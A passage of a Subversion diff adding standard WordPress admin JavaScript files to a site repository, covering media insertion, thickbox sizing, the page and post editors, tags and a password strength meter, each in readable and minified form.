+				h = ed.plugins.wpgallery._do_gallery(h);
+		}
+
+		ed.execCommand('mceInsertContent', false, h);
+
+	} else if ( typeof edInsertContent == 'function' ) {
+		edInsertContent(edCanvas, h);
+	} else {
+		jQuery( edCanvas ).val( jQuery( edCanvas ).val() + h );
+	}
+
+	tb_remove();
+}
+
+// thickbox settings
+var tb_position;
+(function($) {
+	tb_position = function() {
+		var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 < width ) ? 720 : width;
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W - 50 ).height( H - 45 );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 );
+			tbWindow.css({'margin-left': '-' + parseInt((( W - 50 ) / 2),10) + 'px'});
+			if ( typeof document.body.style.maxWidth != 'undefined' )
+				tbWindow.css({'top':'20px','margin-top':'0'});
+		};
+
+		return $('a.thickbox').each( function() {
+			var href = $(this).attr('href');
+			if ( ! href ) return;
+			href = href.replace(/&width=[0-9]+/g, '');
+			href = href.replace(/&height=[0-9]+/g, '');
+			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 ) );
+		});
+	};
+
+	$(window).resize(function(){ tb_position(); });
+
+})(jQuery);
+
+jQuery(document).ready(function($){
+	$('a.thickbox').click(function(){
+		if ( typeof tinyMCE != 'undefined' && tinyMCE.activeEditor ) {
+			tinyMCE.get('content').focus();
+			tinyMCE.activeEditor.windowManager.bookmark = tinyMCE.activeEditor.selection.getBookmark('simple');
+		}
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/media-upload.js	(revision 44)
@@ -0,0 +1,1 @@
+function send_to_editor(b){var a;if(typeof tinyMCE!="undefined"&&(a=tinyMCE.activeEditor)&&!a.isHidden()){a.focus();if(tinymce.isIE){a.selection.moveToBookmark(tinymce.EditorManager.activeEditor.windowManager.bookmark)}if(b.indexOf("[caption")===0){if(a.plugins.wpeditimage){b=a.plugins.wpeditimage._do_shcode(b)}}else{if(b.indexOf("[gallery")===0){if(a.plugins.wpgallery){b=a.plugins.wpgallery._do_gallery(b)}}}a.execCommand("mceInsertContent",false,b)}else{if(typeof edInsertContent=="function"){edInsertContent(edCanvas,b)}else{jQuery(edCanvas).val(jQuery(edCanvas).val()+b)}}tb_remove()}var tb_position;(function(a){tb_position=function(){var e=a("#TB_window"),d=a(window).width(),c=a(window).height(),b=(720<d)?720:d;if(e.size()){e.width(b-50).height(c-45);a("#TB_iframeContent").width(b-50).height(c-75);e.css({"margin-left":"-"+parseInt(((b-50)/2),10)+"px"});if(typeof document.body.style.maxWidth!="undefined"){e.css({top:"20px","margin-top":"0"})}}return a("a.thickbox").each(function(){var f=a(this).attr("href");if(!f){return}f=f.replace(/&width=[0-9]+/g,"");f=f.replace(/&height=[0-9]+/g,"");a(this).attr("href",f+"&width="+(b-80)+"&height="+(c-85))})};a(window).resize(function(){tb_position()})})(jQuery);jQuery(document).ready(function(a){a("a.thickbox").click(function(){if(typeof tinyMCE!="undefined"&&tinyMCE.activeEditor){tinyMCE.get("content").focus();tinyMCE.activeEditor.windowManager.bookmark=tinyMCE.activeEditor.selection.getBookmark("simple")}})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/media.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/media.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/media.dev.js	(revision 44)
@@ -0,0 +1,90 @@
+
+var findPosts;
+(function($){
+	findPosts = {
+		open : function(af_name, af_val) {
+			var st = document.documentElement.scrollTop || $(document).scrollTop();
+
+			if ( af_name && af_val ) {
+				$('#affected').attr('name', af_name).val(af_val);
+			}
+			$('#find-posts').show().draggable({
+				handle: '#find-posts-head'
+			}).css({'top':st + 50 + 'px','left':'50%','marginLeft':'-250px'});
+
+			$('#find-posts-input').focus().keyup(function(e){
+				if (e.which == 27) { findPosts.close(); } // close on Escape
+			});
+
+			return false;
+		},
+
+		close : function() {
+			$('#find-posts-response').html('');
+			$('#find-posts').draggable('destroy').hide();
+		},
+
+		send : function() {
+			var post = {
+				ps: $('#find-posts-input').val(),
+				action: 'find_posts',
+				_ajax_nonce: $('#_ajax_nonce').val()
+			};
+
+			if ( $('#find-posts-pages:checked').val() ) {
+				post['pages'] = 1;
+			} else {
+				post['posts'] = 1;
+			}
+			$.ajax({
+				type : 'POST',
+				url : ajaxurl,
+				data : post,
+				success : function(x) { findPosts.show(x); },
+				error : function(r) { findPosts.error(r); }
+			});
+		},
+
+		show : function(x) {
+
+			if ( typeof(x) == 'string' ) {
+				this.error({'responseText': x});
+				return;
+			}
+
+			var r = wpAjax.parseAjaxResponse(x);
+
+			if ( r.errors ) {
+				this.error({'responseText': wpAjax.broken});
+			}
+			r = r.responses[0];
+			$('#find-posts-response').html(r.data);
+		},
+
+		error : function(r) {
+			var er = r.statusText;
+
+			if ( r.responseText ) {
+				er = r.responseText.replace( /<.[^<>]*?>/g, '' );
+			}
+			if ( er ) {
+				$('#find-posts-response').html(er);
+			}
+		}
+	};
+
+	$(document).ready(function() {
+		$('#find-posts-submit').click(function(e) {
+			if ( '' == $('#find-posts-response').html() )
+				e.preventDefault();
+		});
+		$('#doaction, #doaction2').click(function(e){
+			$('select[name^="action"]').each(function(){
+				if ( $(this).val() == 'attach' ) {
+					e.preventDefault();
+					findPosts.open();
+				}
+			});
+		});
+	});
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/media.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/media.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/media.js	(revision 44)
@@ -0,0 +1,1 @@
+var findPosts;(function(a){findPosts={open:function(d,c){var b=document.documentElement.scrollTop||a(document).scrollTop();if(d&&c){a("#affected").attr("name",d).val(c)}a("#find-posts").show().draggable({handle:"#find-posts-head"}).css({top:b+50+"px",left:"50%",marginLeft:"-250px"});a("#find-posts-input").focus().keyup(function(f){if(f.which==27){findPosts.close()}});return false},close:function(){a("#find-posts-response").html("");a("#find-posts").draggable("destroy").hide()},send:function(){var b={ps:a("#find-posts-input").val(),action:"find_posts",_ajax_nonce:a("#_ajax_nonce").val()};if(a("#find-posts-pages:checked").val()){b.pages=1}else{b.posts=1}a.ajax({type:"POST",url:ajaxurl,data:b,success:function(c){findPosts.show(c)},error:function(c){findPosts.error(c)}})},show:function(b){if(typeof(b)=="string"){this.error({responseText:b});return}var c=wpAjax.parseAjaxResponse(b);if(c.errors){this.error({responseText:wpAjax.broken})}c=c.responses[0];a("#find-posts-response").html(c.data)},error:function(b){var c=b.statusText;if(b.responseText){c=b.responseText.replace(/<.[^<>]*?>/g,"")}if(c){a("#find-posts-response").html(c)}}};a(document).ready(function(){a("#find-posts-submit").click(function(b){if(""==a("#find-posts-response").html()){b.preventDefault()}});a("#doaction, #doaction2").click(function(b){a('select[name^="action"]').each(function(){if(a(this).val()=="attach"){b.preventDefault();findPosts.open()}})})})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/page.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/page.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/page.dev.js	(revision 44)
@@ -0,0 +1,185 @@
+jQuery(document).ready( function($) {
+	postboxes.add_postbox_toggles('page');
+	make_slugedit_clickable();
+
+	$('#title').blur( function() { if ( ($("#post_ID").val() > 0) || ($("#title").val().length == 0) ) return; autosave(); } );
+
+	var stamp = $('#timestamp').html(), visibility = $('#post-visibility-display').html();
+
+	function updateVisibility() {
+		if ( $('#post-visibility-select input:radio:checked').val() != 'public' ) {
+			$('#sticky').attr('checked', false);
+			$('#sticky-span').hide();
+		} else {
+			$('#sticky-span').show();
+		}
+		if ( $('#post-visibility-select input:radio:checked').val() != 'password' ) {
+			$('#password-span').hide();
+		} else {
+			$('#password-span').show();
+		}
+	}
+
+	function updateText() {
+		var attemptedDate, originalDate, currentDate, publishOn;
+
+		attemptedDate = new Date( $('#aa').val(), $('#mm').val() -1, $('#jj').val(), $('#hh').val(), $('#mn').val());
+		originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val());
+		currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val());
+		if ( attemptedDate > currentDate && $('#original_post_status').val() != 'future' ) {
+			publishOn = postL10n.publishOnFuture;
+			$('#publish').val( postL10n.schedule );
+		} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
+			publishOn = postL10n.publishOn;
+			$('#publish').val( postL10n.publish );
+		} else {
+			publishOn = postL10n.publishOnPast;
+			$('#publish').val( postL10n.update );
+		}
+		if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { //hack
+			$('#timestamp').html(stamp);
+		} else {
+			$('#timestamp').html(
+				publishOn + ' <b>' +
+				$( '#mm option[value=' + $('#mm').val() + ']' ).text() + ' ' +
+				$('#jj').val() + ', ' +
+				$('#aa').val() + ' @ ' +
+				$('#hh').val() + ':' +
+				$('#mn').val() + '</b> '
+			);
+		}
+
+		if ( $('#post-visibility-select input:radio:checked').val() == 'private' ) {
+			$('#publish').val( postL10n.update );
+			if ( $('#post_status option[value=publish]').length == 0 ) {
+				$('#post_status').append('<option value="publish">' + postL10n.privatelyPublished + '</option>');
+			}
+			$('#post_status option[value=publish]').html( postL10n.privatelyPublished );
+			$('#post_status option[value=publish]').attr('selected', true);
+			$('.edit-post-status').hide();
+		} else {
+			if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
+				if ( $('#post_status option[value=publish]').length != 0 ) {
+					$('#post_status option[value=publish]').remove();
+					$('#post_status').val($('#hidden_post_status').val());
+				}
+			} else {
+				$('#post_status option[value=publish]').html( postL10n.published );
+			}
+			$('.edit-post-status').show();
+		}
+		$('#post-status-display').html($('#post_status :selected').text());
+		if ( $('#post_status :selected').val() == 'private' || $('#post_status :selected').val() == 'publish' ) {
+			$('#save-post').hide();
+		} else {
+			$('#save-post').show();
+			if ( $('#post_status :selected').val() == 'pending' ) {
+				$('#save-post').show().val( postL10n.savePending );
+			} else {
+				$('#save-post').show().val( postL10n.saveDraft );
+			}
+		}
+	}
+
+	$('.edit-visibility').click(function () {
+		if ($('#post-visibility-select').is(":hidden")) {
+			updateVisibility();
+			$('#post-visibility-select').slideDown("normal");
+			$('.edit-visibility').hide();
+		}
+		return false;
+	});
+
+	$('.cancel-post-visibility').click(function () {
+		$('#post-visibility-select').slideUp("normal");
+		$('#visibility-radio-' + $('#hidden-post-visibility').val()).attr('checked', true);
+		$('#post_password').val($('#hidden_post_password').val());
+		$('#post-visibility-display').html(visibility);
+		$('.edit-visibility').show();
+		updateText();
+		return false;
+	});
+
+	$('.save-post-visibility').click(function () { // crazyhorse - multiple ok cancels
+		$('#post-visibility-select').slideUp("normal");
+		$('.edit-visibility').show();
+		updateText();
+
+		$('#post-visibility-display').html(
+			postL10n[$('#post-visibility-select input:radio:checked').val()]
+		);
+
+		return false;
+	});
+
+	$('#post-visibility-select input:radio').change(function() {
+		updateVisibility();
+	});
+
+	$('.edit-timestamp').click(function () {
+		if ($('#timestampdiv').is(":hidden")) {
+			$('#timestampdiv').slideDown("normal");
+			$('.edit-timestamp').hide();
+		}
+
+		return false;
+	});
+
+	$('.cancel-timestamp').click(function() {
+		$('#timestampdiv').slideUp("normal");
+		$('#mm').val($('#hidden_mm').val());
+		$('#jj').val($('#hidden_jj').val());
+		$('#aa').val($('#hidden_aa').val());
+		$('#hh').val($('#hidden_hh').val());
+		$('#mn').val($('#hidden_mn').val());
+		$('.edit-timestamp').show();
+
+		updateText();
+		return false;
+	});
+
+	$('.save-timestamp').click(function () { // crazyhorse - multiple ok cancels
+		$('#timestampdiv').slideUp("normal");
+		$('.edit-timestamp').show();
+		updateText();
+
+		return false;
+	});
+
+	$('.edit-post-status').click(function() {
+		if ($('#post-status-select').is(":hidden")) {
+			$('#post-status-select').slideDown("normal");
+			$(this).hide();
+		}
+
+		return false;
+	});
+
+	$('.save-post-status').click(function() {
+		$('#post-status-select').slideUp("normal");
+		$('.edit-post-status').show();
+		updateText();
+		return false;
+	});
+
+	$('.cancel-post-status').click(function() {
+		$('#post-status-select').slideUp("normal");
+		$('#post_status').val($('#hidden_post_status').val());
+		$('.edit-post-status').show();
+
+		updateText();
+		return false;
+	});
+
+	// Custom Fields
+	$('#the-list').wpList( { addAfter: function( xml, s ) {
+		$('table#list-table').show();
+		if ( $.isFunction( autosave_update_post_ID ) ) {
+			autosave_update_post_ID(s.parsed.responses[0].supplemental.postid);
+		}
+	}, addBefore: function( s ) {
+		s.data += '&post_id=' + $('#post_ID').val();
+		return s;
+	}
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/page.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/page.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/page.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(e){postboxes.add_postbox_toggles("page");make_slugedit_clickable();e("#title").blur(function(){if((e("#post_ID").val()>0)||(e("#title").val().length==0)){return}autosave()});var b=e("#timestamp").html(),a=e("#post-visibility-display").html();function d(){if(e("#post-visibility-select input:radio:checked").val()!="public"){e("#sticky").attr("checked",false);e("#sticky-span").hide()}else{e("#sticky-span").show()}if(e("#post-visibility-select input:radio:checked").val()!="password"){e("#password-span").hide()}else{e("#password-span").show()}}function c(){var f,h,g,i;f=new Date(e("#aa").val(),e("#mm").val()-1,e("#jj").val(),e("#hh").val(),e("#mn").val());h=new Date(e("#hidden_aa").val(),e("#hidden_mm").val()-1,e("#hidden_jj").val(),e("#hidden_hh").val(),e("#hidden_mn").val());g=new Date(e("#cur_aa").val(),e("#cur_mm").val()-1,e("#cur_jj").val(),e("#cur_hh").val(),e("#cur_mn").val());if(f>g&&e("#original_post_status").val()!="future"){i=postL10n.publishOnFuture;e("#publish").val(postL10n.schedule)}else{if(f<=g&&e("#original_post_status").val()!="publish"){i=postL10n.publishOn;e("#publish").val(postL10n.publish)}else{i=postL10n.publishOnPast;e("#publish").val(postL10n.update)}}if(h.toUTCString()==f.toUTCString()){e("#timestamp").html(b)}else{e("#timestamp").html(i+" <b>"+e("#mm option[value="+e("#mm").val()+"]").text()+" "+e("#jj").val()+", "+e("#aa").val()+" @ "+e("#hh").val()+":"+e("#mn").val()+"</b> ")}if(e("#post-visibility-select input:radio:checked").val()=="private"){e("#publish").val(postL10n.update);if(e("#post_status option[value=publish]").length==0){e("#post_status").append('<option value="publish">'+postL10n.privatelyPublished+"</option>")}e("#post_status option[value=publish]").html(postL10n.privatelyPublished);e("#post_status option[value=publish]").attr("selected",true);e(".edit-post-status").hide()}else{if(e("#original_post_status").val()=="future"||e("#original_post_status").val()=="draft"){if(e("#post_status option[value=publish]").length!=0){e("#post_status option[value=publish]").remove();e("#post_status").val(e("#hidden_post_status").val())}}else{e("#post_status option[value=publish]").html(postL10n.published)}e(".edit-post-status").show()}e("#post-status-display").html(e("#post_status :selected").text());if(e("#post_status :selected").val()=="private"||e("#post_status :selected").val()=="publish"){e("#save-post").hide()}else{e("#save-post").show();if(e("#post_status :selected").val()=="pending"){e("#save-post").show().val(postL10n.savePending)}else{e("#save-post").show().val(postL10n.saveDraft)}}}e(".edit-visibility").click(function(){if(e("#post-visibility-select").is(":hidden")){d();e("#post-visibility-select").slideDown("normal");e(".edit-visibility").hide()}return false});e(".cancel-post-visibility").click(function(){e("#post-visibility-select").slideUp("normal");e("#visibility-radio-"+e("#hidden-post-visibility").val()).attr("checked",true);e("#post_password").val(e("#hidden_post_password").val());e("#post-visibility-display").html(a);e(".edit-visibility").show();c();return false});e(".save-post-visibility").click(function(){e("#post-visibility-select").slideUp("normal");e(".edit-visibility").show();c();e("#post-visibility-display").html(postL10n[e("#post-visibility-select input:radio:checked").val()]);return false});e("#post-visibility-select input:radio").change(function(){d()});e(".edit-timestamp").click(function(){if(e("#timestampdiv").is(":hidden")){e("#timestampdiv").slideDown("normal");e(".edit-timestamp").hide()}return false});e(".cancel-timestamp").click(function(){e("#timestampdiv").slideUp("normal");e("#mm").val(e("#hidden_mm").val());e("#jj").val(e("#hidden_jj").val());e("#aa").val(e("#hidden_aa").val());e("#hh").val(e("#hidden_hh").val());e("#mn").val(e("#hidden_mn").val());e(".edit-timestamp").show();c();return false});e(".save-timestamp").click(function(){e("#timestampdiv").slideUp("normal");e(".edit-timestamp").show();c();return false});e(".edit-post-status").click(function(){if(e("#post-status-select").is(":hidden")){e("#post-status-select").slideDown("normal");e(this).hide()}return false});e(".save-post-status").click(function(){e("#post-status-select").slideUp("normal");e(".edit-post-status").show();c();return false});e(".cancel-post-status").click(function(){e("#post-status-select").slideUp("normal");e("#post_status").val(e("#hidden_post_status").val());e(".edit-post-status").show();c();return false});e("#the-list").wpList({addAfter:function(f,g){e("table#list-table").show();if(e.isFunction(autosave_update_post_ID)){autosave_update_post_ID(g.parsed.responses[0].supplemental.postid)}},addBefore:function(f){f.data+="&post_id="+e("#post_ID").val();return f}})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.dev.js	(revision 44)
@@ -0,0 +1,21 @@
+// Password strength meter
+function passwordStrength(password,username) {
+    var shortPass = 1, badPass = 2, goodPass = 3, strongPass = 4, symbolSize = 0, natLog, score;
+
+	//password < 4
+    if (password.length < 4 ) { return shortPass };
+
+    //password == username
+    if (password.toLowerCase()==username.toLowerCase()) return badPass;
+
+	if (password.match(/[0-9]/)) symbolSize +=10;
+	if (password.match(/[a-z]/)) symbolSize +=26;
+	if (password.match(/[A-Z]/)) symbolSize +=26;
+	if (password.match(/[^a-zA-Z0-9]/)) symbolSize +=31;
+
+	natLog = Math.log( Math.pow(symbolSize,password.length) );
+	score = natLog / Math.LN2;
+	if (score < 40 )  return badPass
+	if (score < 56 )  return goodPass
+    return strongPass;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/password-strength-meter.js	(revision 44)
@@ -0,0 +1,1 @@
+function passwordStrength(i,f){var h=1,e=2,b=3,a=4,d=0,g,c;if(i.length<4){return h}if(i.toLowerCase()==f.toLowerCase()){return e}if(i.match(/[0-9]/)){d+=10}if(i.match(/[a-z]/)){d+=26}if(i.match(/[A-Z]/)){d+=26}if(i.match(/[^a-zA-Z0-9]/)){d+=31}g=Math.log(Math.pow(d,i.length));c=g/Math.LN2;if(c<40){return e}if(c<56){return b}return a};
Index: /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.dev.js	(revision 44)
@@ -0,0 +1,41 @@
+/* Plugin Browser Thickbox related JS*/
+jQuery(document).ready(function($) {
+	var thickDims = function() {
+		var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 < width ) ? 720 : width;
+
+		if ( tbWindow.size() ) {
+			tbWindow.width( W - 50 ).height( H - 45 );
+			$('#TB_iframeContent').width( W - 50 ).height( H - 75 );
+			tbWindow.css({'margin-left': '-' + parseInt((( W - 50 ) / 2),10) + 'px'});
+			if ( ! ( $.browser.msie && $.browser.version.substr(0,1) < 7 ) )
+				tbWindow.css({'top':'20px','margin-top':'0'});
+		};
+
+		return $('#dashboard_plugins a.thickbox, .plugins a.thickbox').each( function() {
+			var href = $(this).attr('href');
+			if ( ! href )
+				return;
+			href = href.replace(/&width=[0-9]+/g, '');
+			href = href.replace(/&height=[0-9]+/g, '');
+			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 ) );
+		});
+	};
+
+	thickDims().click( function() {
+		$('#TB_title').css({'background-color':'#222','color':'#cfcfcf'});
+		$('#TB_ajaxWindowTitle').html('<strong>' + plugininstallL10n.plugin_information + '</strong>&nbsp;' + $(this).attr('title') );
+		return false;
+	});
+
+	/* Plugin install related JS*/
+	$('#plugin-information #sidemenu a').click( function() {
+		var tab = $(this).attr('name');
+		//Flip the tab
+		$('#plugin-information-header a.current').removeClass('current');
+		$(this).addClass('current');
+		//Flip the content.
+		$('#section-holder div.section').hide(); //Hide 'em all
+		$('#section-' + tab).show();
+		return false;
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/plugin-install.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(b){var a=function(){var f=b("#TB_window"),e=b(window).width(),d=b(window).height(),c=(720<e)?720:e;if(f.size()){f.width(c-50).height(d-45);b("#TB_iframeContent").width(c-50).height(d-75);f.css({"margin-left":"-"+parseInt(((c-50)/2),10)+"px"});if(!(b.browser.msie&&b.browser.version.substr(0,1)<7)){f.css({top:"20px","margin-top":"0"})}}return b("#dashboard_plugins a.thickbox, .plugins a.thickbox").each(function(){var g=b(this).attr("href");if(!g){return}g=g.replace(/&width=[0-9]+/g,"");g=g.replace(/&height=[0-9]+/g,"");b(this).attr("href",g+"&width="+(c-80)+"&height="+(d-85))})};a().click(function(){b("#TB_title").css({"background-color":"#222",color:"#cfcfcf"});b("#TB_ajaxWindowTitle").html("<strong>"+plugininstallL10n.plugin_information+"</strong>&nbsp;"+b(this).attr("title"));return false});b("#plugin-information #sidemenu a").click(function(){var c=b(this).attr("name");b("#plugin-information-header a.current").removeClass("current");b(this).addClass("current");b("#section-holder div.section").hide();b("#section-"+c).show();return false})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/post.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/post.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/post.dev.js	(revision 44)
@@ -0,0 +1,490 @@
+// return an array with any duplicate, whitespace or values removed
+function array_unique_noempty(a) {
+	var out = [];
+	jQuery.each( a, function(key, val) {
+		val = jQuery.trim(val);
+		if ( val && jQuery.inArray(val, out) == -1 )
+			out.push(val);
+		} );
+	return out;
+}
+
+function new_tag_remove_tag() {
+	var id = jQuery( this ).attr( 'id' ), num = id.split('-check-num-')[1], taxbox = jQuery(this).parents('.tagsdiv'), current_tags = taxbox.find( '.the-tags' ).val().split(','), new_tags = [];
+	delete current_tags[num];
+
+	jQuery.each( current_tags, function(key, val) {
+		val = jQuery.trim(val);
+		if ( val ) {
+			new_tags.push(val);
+		}
+	});
+
+	taxbox.find('.the-tags').val( new_tags.join(',').replace(/\s*,+\s*/, ',').replace(/,+/, ',').replace(/,+\s+,+/, ',').replace(/,+\s*$/, '').replace(/^\s*,+/, '') );
+
+	tag_update_quickclicks(taxbox);
+	return false;
+}
+
+function tag_update_quickclicks(taxbox) {
+	if ( jQuery(taxbox).find('.the-tags').length == 0 )
+		return;
+
+	var current_tags = jQuery(taxbox).find('.the-tags').val().split(',');
+	jQuery(taxbox).find('.tagchecklist').empty();
+	shown = false;
+
+	jQuery.each( current_tags, function( key, val ) {
+		var txt, button_id;
+
+		val = jQuery.trim(val);
+		if ( !val.match(/^\s+$/) && '' != val ) {
+			button_id = jQuery(taxbox).attr('id') + '-check-num-' + key;
+ 			txt = '<span><a id="' + button_id + '" class="ntdelbutton">X</a>&nbsp;' + val + '</span> ';
+ 			jQuery(taxbox).find('.tagchecklist').append(txt);
+ 			jQuery( '#' + button_id ).click( new_tag_remove_tag );
+		}
+	});
+	if ( shown )
+		jQuery(taxbox).find('.tagchecklist').prepend('<strong>'+postL10n.tagsUsed+'</strong><br />');
+}
+
+function tag_flush_to_text(id, a) {
+	a = a || false;
+	var taxbox, text, tags, newtags;
+
+	taxbox = jQuery('#'+id);
+	text = a ? jQuery(a).text() : taxbox.find('input.newtag').val();
+
+	// is the input box empty (i.e. showing the 'Add new tag' tip)?
+	if ( taxbox.find('input.newtag').hasClass('form-input-tip') && ! a )
+		return false;
+
+	tags = taxbox.find('.the-tags').val();
+	newtags = tags ? tags + ',' + text : text;
+
+	// massage
+	newtags = newtags.replace(/\s+,+\s*/g, ',').replace(/,+/g, ',').replace(/,+\s+,+/g, ',').replace(/,+\s*$/g, '').replace(/^\s*,+/g, '');
+	newtags = array_unique_noempty(newtags.split(',')).join(',');
+	taxbox.find('.the-tags').val(newtags);
+	tag_update_quickclicks(taxbox);
+
+	if ( ! a )
+		taxbox.find('input.newtag').val('').focus();
+
+	return false;
+}
+
+function tag_save_on_publish() {
+	jQuery('.tagsdiv').each( function(i) {
+		if ( !jQuery(this).find('input.newtag').hasClass('form-input-tip') )
+        	tag_flush_to_text(jQuery(this).parents('.tagsdiv').attr('id'));
+		} );
+}
+
+function tag_press_key( e ) {
+	if ( 13 == e.which ) {
+		tag_flush_to_text(jQuery(e.target).parents('.tagsdiv').attr('id'));
+		return false;
+	}
+};
+
+function tag_init() {
+
+	jQuery('.ajaxtag').show();
+    jQuery('.tagsdiv').each( function(i) {
+        tag_update_quickclicks(this);
+    } );
+
+    // add the quickadd form
+    jQuery('.ajaxtag input.tagadd').click(function(){tag_flush_to_text(jQuery(this).parents('.tagsdiv').attr('id'));});
+    jQuery('.ajaxtag input.newtag').focus(function() {
+        if ( !this.cleared ) {
+            this.cleared = true;
+            jQuery(this).val( '' ).removeClass( 'form-input-tip' );
+        }
+    });
+
+    jQuery('.ajaxtag input.newtag').blur(function() {
+        if ( this.value == '' ) {
+            this.cleared = false;
+            jQuery(this).val( postL10n.addTag ).addClass( 'form-input-tip' );
+        }
+    });
+
+    // auto-save tags on post save/publish
+    jQuery('#publish').click( tag_save_on_publish );
+    jQuery('#save-post').click( tag_save_on_publish );
+
+    // catch the enter key
+    jQuery('.ajaxtag input.newtag').keypress( tag_press_key );
+}
+
+var commentsBox, tagCloud;
+(function($){
+
+	commentsBox = {
+		st : 0,
+
+		get : function(total, num) {
+			var st = this.st, data;
+			if ( ! num )
+				num = 20;
+
+			this.st += num;
+			this.total = total;
+			$('#commentsdiv img.waiting').show();
+
+			data = {
+				'action' : 'get-comments',
+				'mode' : 'single',
+				'_ajax_nonce' : $('#add_comment_nonce').val(),
+				'post_ID' : $('#post_ID').val(),
+				'start' : st,
+				'num' : num
+			};
+
+			$.post(ajaxurl, data,
+				function(r) {
+					r = wpAjax.parseAjaxResponse(r);
+					$('#commentsdiv .widefat').show();
+					$('#commentsdiv img.waiting').hide();
+
+					if ( 'object' == typeof r && r.responses[0] ) {
+						$('#the-comment-list').append( r.responses[0].data );
+
+						theList = theExtraList = null;
+						$("a[className*=':']").unbind();
+						setCommentsList();
+
+						if ( commentsBox.st > commentsBox.total )
+							$('#show-comments').hide();
+						else
+							$('#show-comments').html(postL10n.showcomm);
+						return;
+					} else if ( 1 == r ) {
+						$('#show-comments').parent().html(postL10n.endcomm);
+						return;
+					}
+
+					$('#the-comment-list').append('<tr><td colspan="5">'+wpAjax.broken+'</td></tr>');
+				}
+			);
+
+			return false;
+		}
+	};
+
+	tagCloud = {
+		init : function() {
+			$('.tagcloud-link').click(function(){
+				tagCloud.get($(this).attr('id'));
+				$(this).unbind().click(function(){
+					$(this).siblings('.the-tagcloud').toggle();
+					return false;
+				});
+				return false;
+			});
+		},
+
+		get : function(id) {
+			var tax = id.substr(id.indexOf('-')+1);
+
+			$.post(ajaxurl, {'action':'get-tagcloud','tax':tax}, function(r, stat) {
+				if ( 0 == r || 'success' != stat )
+					r = wpAjax.broken;
+
+				r = $('<p id="tagcloud-'+tax+'" class="the-tagcloud">'+r+'</p>');
+				$('a', r).click(function(){
+					var id = $(this).parents('p').attr('id');
+					tag_flush_to_text(id.substr(id.indexOf('-')+1), this);
+					return false;
+				});
+
+				$('#'+id).after(r);
+			});
+		}
+	};
+
+	$(document).ready(function(){tagCloud.init();});
+})(jQuery);
+
+jQuery(document).ready( function($) {
+	var noSyncChecks = false, syncChecks, catAddAfter, stamp = $('#timestamp').html(), visibility = $('#post-visibility-display').html(), sticky = '';
+
+	// postboxes
+	postboxes.add_postbox_toggles('post');
+
+	// Editable slugs
+	make_slugedit_clickable();
+
+	// prepare the tag UI
+	tag_init();
+
+	$('#title').blur( function() {
+		if ( ($("#post_ID").val() > 0) || ($("#title").val().length == 0) )
+			return;
+
+		if ( typeof(autosave) != 'undefined' )
+			autosave();
+	});
+
+	// auto-suggest stuff
+	$('.newtag').each(function(){
+		var tax = $(this).parents('div.tagsdiv').attr('id');
+		$(this).suggest( 'admin-ajax.php?action=ajax-tag-search&tax='+tax, { delay: 500, minchars: 2, multiple: true, multipleSep: ", " } );
+	});
+
+	// category tabs
+	$('#category-tabs a').click(function(){
+		var t = $(this).attr('href');
+		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
+		$('.tabs-panel').hide();
+		$(t).show();
+		if ( '#categories-all' == t )
+			deleteUserSetting('cats');
+		else
+			setUserSetting('cats','pop');
+		return false;
+	});
+	if ( getUserSetting('cats') )
+		$('#category-tabs a[href="#categories-pop"]').click();
+
+	// Ajax Cat
